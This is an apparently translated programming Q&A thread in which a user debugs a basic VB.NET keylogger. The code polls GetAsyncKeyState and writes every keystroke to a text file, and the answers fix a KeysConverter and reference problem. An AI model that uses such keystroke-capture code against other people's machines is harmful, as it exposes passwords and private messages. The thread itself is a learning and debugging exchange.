【问题标题】:Unable to use KeysConverter in a keylogger program无法在键盘记录程序中使用 KeysConverter
【发布时间】:2018-06-04 20:06:06
【问题描述】:

我正在尝试创建一个基本的键盘记录程序。我对网络安全感兴趣,想了解更多。我已经从各种来源将下面的代码散列在一起。 行 text = converter.ToString(i) 生成索引越界错误。 我在想这是因为对象转换器没有被实例化,因为它应该?但是如何解决呢?

Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading

Module Module1
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
    Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    filepath &= "\LogsFolder\"

    If (Not Directory.Exists(filepath)) Then
        Directory.CreateDirectory(filepath)
    End If

    Dim Path = (filepath & "LoggedKeys.text")

    If Not File.Exists(Path) Then
        Using sw As StreamWriter = File.CreateText(Path)
        End Using
    End If

    Dim Converter = New KeysConverter()
    Dim text As String = ""

    While (True)
        Thread.Sleep(5)
        For i As Integer = 0 To 1999
            Dim key = GetAsyncKeyState(i)
            If key = 1 Or key = -32767 Then
                text = converter.ToString(i)
                Using sw As StreamWriter = File.AppendText(Path)
                    sw.WriteLine(text)
                End Using
                Exit For
            End If
        Next
    End While

End Sub

End Module

【问题讨论】:

  • 很确定它应该是Dim converter as New KeysConverter()。我认为当您使用 = New 语法时,没有为变量定义类型,因此它变成了 Object 类型。
  • @RBarryYoung 不,它们实际上使用相同的 AFAIK。 Dim foo = New Bar() 类似于 C# 中的 var foo = new Bar();,而 Dim foo As New Bar()Dim foo As Bar = New Bar() 的简写,相当于 C# 中的 Bar foo = new Bar();

标签: vb.net keylogger


【解决方案1】:

看起来您正在寻找ConvertToString 方法。

替换以下行:

text = converter.ToString(i)

与:

text = converter.ConvertToString(i)

编辑以解决您在 cmets 中的顾虑:

我收到一个语法错误,“ConvertToString”不是 KeysConverter 的成员...听起来我的实例化不起作用。

将鼠标光标悬停在您的 Converter 变量上并仔细检查其类型。确保 KeysConverter 实际上是 System.Windows.Forms.KeysConverter 类,而不是某种本地生成的类。

MyImports System.Windows.Forms 语句是幻影 - 表明它从未使用过。

这就是我的怀疑。您似乎在控制台应用程序中,并且正在访问 System.Windows.Forms 命名空间中的一个类包含在控制台应用程序中。您需要添加对 System.Windows.Forms.dll 的引用,如this answer 中所述。

此外,请确保从项目中找到并删除生成的 KeysConverter 类,以免发生冲突。

【讨论】:

  • 感谢您的回答。不幸的是,这行不通。我收到语法错误,“ConvertToString”不是 KeysConverter 的成员。这让我感到困扰 - 听起来我的实例化没有奏效,因此我不能调用方法
  • 你的实例化没有成功是什么意思?将光标悬停在您的 Converter 变量上并仔细检查其类型。确保 KeysConverter 实际上是 System.Windows.Forms.KeysConverter 类,而不是某种本地生成的类。
  • 感谢您回到我身边。 MyImports System.Windows.Forms 语句是幻影 - 表明它从未使用过。我猜这就是我无法访问 ConvertToString 方法的原因——当我在变量“converter”之后键入句号时它不会弹出。
  • 知道了!!!你是对的。不知何故,我设法创建了一个鬼鬼祟祟的本地类 - 可能输入了一个句号,然后在没有检查它在做什么的情况下直接输入。
  • @Rich,我已经编辑了答案以解决您对 System.Windows.Forms 参考的最后担忧。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多